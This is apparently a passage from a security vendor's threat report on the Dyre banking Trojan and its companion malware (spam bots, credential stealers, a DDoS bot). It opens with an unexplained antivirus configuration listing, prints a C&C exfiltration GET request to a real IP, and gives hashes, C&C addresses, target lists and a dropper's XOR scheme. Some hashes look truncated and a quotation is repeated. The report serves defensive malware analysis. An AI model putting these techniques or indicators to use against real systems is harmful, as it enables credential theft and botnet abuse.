BeforeActionToQuarantine=0
BootsekctorStart=0
MasterBootSectors=0
NoNetDrv=0
PrimaryActionForInfected=5
ScanActionMode=0
ScanAllFiles=0
ScanArchivSmartExtensions=1
ScanArchiveCutRecursionDepth=1
ScanArchiveExclude=
ScanArchiveRecursionDepth=20
ScanArchiveScan=0
ScanCheckSystemFiles=0
ScanDiffExtension=
ScanHeuristicFile=1
ScanHeuristicFileEnabled=0
```
ScanHeuristicMacroEnabled=0
ScanInteractiveMode=1
ScanPriority=1
ScanRegistry=0
ScanReportLevel=0
ScanRootkits=0
ScanSkipOfflineFiles=0
ScanSkipReparsePoint=1
SecondaryActionForInfected=5
ShowWarningMessages=0
StopAllowed=1
UsePerformanceScan=0

[SKIPFILES]
Path0=C:\Program Files (x86)
Path1=c:\program files\c:\windows

[GUARD]
ArcMaxFilecount=10
ArcMaxRatio=250
ArcMaxRecursion=1
ArcMaxSize=1000
ArcScan=0
GuardDeactivatedByWSC=0
MacroVirusHeuristic=0
MaximumLogFileSize=0
OnAccessBackupLog=0
OnAccessCacheNetworkAccess=1
OnAccessExcludeProcessNames=
OnAccessExcludedProcess0=explorer.exe
OnAccessExcludedProcess1=sdbinst.exe
OnAccessExcludedProcess2=spoolsv.exe
OnAccessExcludedProcess3=svchost.exe
OnAccessExcludedProcess4=winlogon.exe
OnAccessExtensionList=
OnAccessFileExclusionCount=1
OnAccessScanAllFiles=0
OnAccessScanLocalDrives=1
OnAccessScanNetworkDrives=0
OnAccessWriteConfigToLog=0
Path0=c:\
ReportingLevel=0
UseEventlog=0
UseWhitelistServer=0
Win32Heuristic=0
Win32HeuristicMode=1

[POP3CONFIG]

[SENDMSG]

[UPDATE]
CloseConnection=1
DUNConnection=*DUN*WIN*CONNECT*
DUNPhonebook=
DialUpLogin=
DialUpPassword=
DownloadLocation=1
ProductUpdateMode=0
Data exfiltration

The Trojan can send the information of the compromised computer (computer name and version information) to a remote server (IP: 181.189.152.131) through a GET request.

GET /2402us22/ADMIN-USER/41/7/4/ HTTP/1.1
User-Agent: Mozilla/5.0
Host: 181.189.152.131:14127
Cache-Control: no-cache

Dropping Dyre

The Trojan can drop and execute PE files. The resource with the name “EXE1” contains the encrypted PE (XORed with 0x1). The Trojan decrypts the PE, drops it to the %Temp% folder, and executes the dropped file, which in this case is Dyre (MD5: a62582d46ea8c172778753ed13f1b2c1). The name of the dropped file is randomly generated. The size is eight bytes, starts with six characters and ends with two numbers, e.g. “kgsATx70”. 
While the Dyre Trojan’s main purpose is the theft of banking credentials, it is also capable of downloading and installing additional malware on to the victim’s computer.

“While the Dyre Trojan’s main purpose is the theft of banking credentials, it is also capable of downloading and installing additional malware on to the victim’s computer.”
Related threats

Dyre is a multi-faceted threat. While the Dyre Trojan’s main purpose is the theft of banking credentials, it is also capable of downloading and installing additional malware on to the victim’s computer. In many cases, the victim is added to a botnet which is then used to power further spam campaigns and infect more victims. Symantec has observed the Dyre group using at least seven different pieces of additional malware.

Trojan.Spadyra

Table 23 details the characteristics of Trojan.Spadyra.

The main purpose of Spadyra is to send spam emails. The Trojan retrieves the lists of email addresses and phishing mail content from a C&C server. The malware will then compose the spam emails and dispatch them to target email addresses. Approximately 5,000 emails are sent in a single run.

<table>
<thead>
<tr>
<th>File name</th>
<th>MD5</th>
<th>SHA-1</th>
<th>SHA-256</th>
<th>Size (bytes)</th>
<th>Timestamp</th>
</tr>
</thead>
<tbody>
<tr>
<td>c87a08dd75b96c4b47e2e0f302e375f4</td>
<td>c87a08dd75b96c4b47e2e0f302e375f4</td>
<td>9519ab12f55700b73a0724f83c2af52090c2c333</td>
<td>d4108aeecc54427804f2bb8cb6ac10e2ad07c13a30a7823485292f4200cfb83f</td>
<td>43,520</td>
<td>0x550C20F6, 20 Mar 2015 13:30:30</td>
</tr>
</tbody>
</table>

Trojan.Spadoluk

Table 24 details the characteristics of Trojan.Spadoluk.

Spadoluk is also a spamming Trojan. The main difference between Spadoluk and Spadyra is that the former relies on Microsoft Outlook libraries on the victim’s computer to send spam emails. A newer variant of Spadoluk (MD5: 9CEE0DE5AA564A554751DA1EEA7266EF) is also capable of using Thunderbird to send spam emails. The malware will install a custom Thunderbird plugin to retrieve addresses from the address book and dispatch spam emails.

<table>
<thead>
<tr>
<th>File name</th>
<th>MD5</th>
<th>SHA-1</th>
<th>SHA-256</th>
<th>Size (bytes)</th>
<th>Timestamp</th>
</tr>
</thead>
<tbody>
<tr>
<td>29d0960d37c33c06466ecec5bdb80d0f</td>
<td>29d0960d37c33c06466ecec5bdb80d0f</td>
<td>9af6efaade11e0c6e92de798c62b099874020da1</td>
<td>225e94f198bdfc77500dc30881654f192e460dce88fe927fad8c5adb149ed25</td>
<td>1,075,220</td>
<td>0x550B45ea, 17 Mar 2015 15:19:06</td>
</tr>
</tbody>
</table>

Trojan.Pandex.B (version 1)

Table 25 details the characteristics of Trojan.Pandex.B version 1.

This Trojan adds the victim to the Pandex botnet (also known as Cutwall or Pushdo). Pandex is primarily a spamming botnet. Pandex.B has the ability to download and execute new files and our analysis found a spam module being downloaded to computers already infected with Dyre.

<table>
<thead>
<tr>
<th>File name</th>
<th>MD5</th>
<th>SHA-1</th>
<th>SHA-256</th>
<th>Size (bytes)</th>
<th>Timestamp</th>
</tr>
</thead>
<tbody>
<tr>
<td>d0ec06ec92435343934c4101f7a668a0</td>
<td>d0ec06ec92435343934c4101f7a668a0</td>
<td>2d6e3869ee6b1c8bd2fa5076f44f33fb2d30c65</td>
<td>517ab061cafe3f6b60277ef349e26da5dd434b903d3c6bdfe08b908c596b1b</td>
<td>90,112</td>
<td>0x550AB179, 19 Mar 2015 11:22:33</td>
</tr>
</tbody>
</table>
Trojan.Pandex.B (version 2)

Table 26 details the characteristics of Trojan.Pandex.B version 2.

The new variant of Pandex has similar functionality to the older variant, but uses different types of C&C communications. The malware connects to the C&C server using direct IP address instead of domain-based URLs.

<table>
<thead>
<tr>
<th>File name</th>
<th>MD5</th>
<th>SHA-1</th>
<th>SHA-256</th>
<th>Size (bytes)</th>
<th>Timestamp</th>
</tr>
</thead>
<tbody>
<tr>
<td>5dc6a5ed69d0f5030d31cefe54df511b</td>
<td>5dc6a5ed69d0f5030d31cefe54df511b</td>
<td>d652a827ca45003b1c745a06ddbc063a1d98644</td>
<td>396b28fe05be372cc406c7a0ba84459756485a94b8e6540c984500d-8e3de9617</td>
<td>74,240</td>
<td>0x55094AF9, 18 Mar 2015 09:52:57</td>
</tr>
</tbody>
</table>

Infostealer.Kegotip

Table 27 details the characteristics of Infostealer.Kegotip.

Kegotip is an information stealer and is designed to gather user credentials from the following software:
- SecureFX
- FTP Rush
- UltraFXP
- ALFTP
- FTP Commander
- FTP Navigator
- TurboFTP
- SmartFTP
- WSFTP
- Filezilla
- Far Manager
- Total Commander
- Globalscape Software

Kegotip also attempts to gather login credentials from files on the computer, excluding files with the following extensions:
- .rar
- .zip
- .cab
- .avi
- .mp3
- .jp
- .gif

All stolen data is sent to a remote server (IP address: 85.25.153.26).

<table>
<thead>
<tr>
<th>File name</th>
<th>MD5</th>
<th>SHA-1</th>
<th>SHA-256</th>
<th>Size (bytes)</th>
<th>Timestamp</th>
</tr>
</thead>
<tbody>
<tr>
<td>14297420f68765b77b7f51be2702ff35</td>
<td>14297420f68765b77b7f51be2702ff35</td>
<td>3795d7f0c3763b2e5b17b6ffce190de2a3c35e2</td>
<td>15ad4e87903e76338450ee05b6456cd6c658da7c10c5df3cc5eade155ae3f754</td>
<td>116,224</td>
<td>0x55003D39, 11 Mar 2015 13:03:53</td>
</tr>
</tbody>
</table>

Trojan.Fareit (version 1)

Table 28 details the characteristics of Trojan.Fareit version 1.

<table>
<thead>
<tr>
<th>File name</th>
<th>MD5</th>
<th>SHA-1</th>
<th>sha256</th>
<th>Size (bytes)</th>
<th>Timestamp</th>
</tr>
</thead>
<tbody>
<tr>
<td>18dd60ff3b1fc53b25c349c8342071da</td>
<td>18dd60ff3b1fc53b25c349c8342071da</td>
<td>4932301af614a6a8babd719c30fb6c192cf101c7</td>
<td>2a335d02f4391e83367c78aaf36070d7d1794ca57101332f4d3450e8cfd3c6bf</td>
<td>118,784</td>
<td>0x5510670C, 23 Mar 2015 19:18:36</td>
</tr>
</tbody>
</table>
Fareit is another information-stealing Trojan, which is configured to steal users’ credentials from the following software:

- Far Manager
- Total Commander
- WSFTP
- CuteFTP
- FlashFXP
- Filezilla
- FTP Commander
- FTP Navigator
- Bullet Proof FTP
- SmartFTP
- TurboFTP
- Sota FFFTP
- FTP Explorer
- VanDyke
- UltraFXP
- BitKinex
- ExpanDrive
- ClassicFTP
- FTPClient
- Leapftp
- Opera Software
- FTPVoyager
- LeechFTP
- WinFTP
- FreshFTP
- Blazeftp
- EasyFTP
- FTP Now
- NovaFTP

**Trojan.Fareit (version 2)**

Table 29 details the characteristics of Trojan.Fareit version 2.

A recent variant of Fareit has downloader capabilities similar to Upatre. The Dyre Trojan (MD5: 7426077f151a3512c298ca08538477b6) was downloaded during analysis. In addition, the newer variant of Fareit has the ability to gather wallet.dat files from compromised computers. This allows the attackers to steal bitcoins, litecoins, namecoins and other digital currencies from the victim.

<table>
<thead>
<tr>
<th>Table 29. Trojan.Fareit characteristics (new variant)</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>File name</strong></td>
</tr>
<tr>
<td><strong>MD5</strong></td>
</tr>
<tr>
<td><strong>SHA-1</strong></td>
</tr>
<tr>
<td><strong>sha256</strong></td>
</tr>
<tr>
<td><strong>Size (bytes)</strong></td>
</tr>
<tr>
<td><strong>Timestamp</strong></td>
</tr>
</tbody>
</table>
**Trojan.Doscor**

Table 30 details the characteristics of Trojan.Doscor.

Doscor adds the infected computer to a botnet which can be used to mount distributed denial-of-service (DDoS) attacks.

Doscor has targeted the following websites:
- psb4ukr.org
- habrahabr.ru/post/%d
- programmersforum.ru/showthread.php?t=%d
- coru.ws/index.php?/forum
- www.bicotender.ru
- forum.codenet.ru

Notably, "psb4ukr.org" may have been targeted due to its NATO link, according to an online article from Eurasia Today.

**Trojan.Fitobrute**

Table 31 details the characteristics of Trojan.Fitobrute.

Fitobrute uses the infected computer to launch brute-force attacks against FTP hosts based on a list of passwords. To perform attacks, the malware retrieves domains and the lists of passwords to use from the C&C server. If successful, the Trojan will notify the attackers by sending the relevant credentials of the FTP host to the C&C server.
Dyre is a multi-pronged threat, capable of mounting attacks against all three major web browsers.
Conclusion

Symantec has observed a significant increase in activity from the group behind Dyre since June 2014. Following takedowns of a number of other major financial threats, such as Gameover Zeus and Shylock, Dyre has filled the vacuum and emerged as the main active threat in this arena.

The group behind Dyre has put considerable time and effort into expanding its operations, adding to its infrastructure and broadening its reach to now target the customers of more than 1,000 banks and other organizations.

Dyre is a multi-pronged threat, capable of mounting attacks against all three major web browsers. In addition to stealing financial credentials, the malware can also be used to infect the victim with further threats.

As such, Dyre represents a particular threat to consumers, particularly in English-speaking countries, where the largest numbers of targeted banks are located.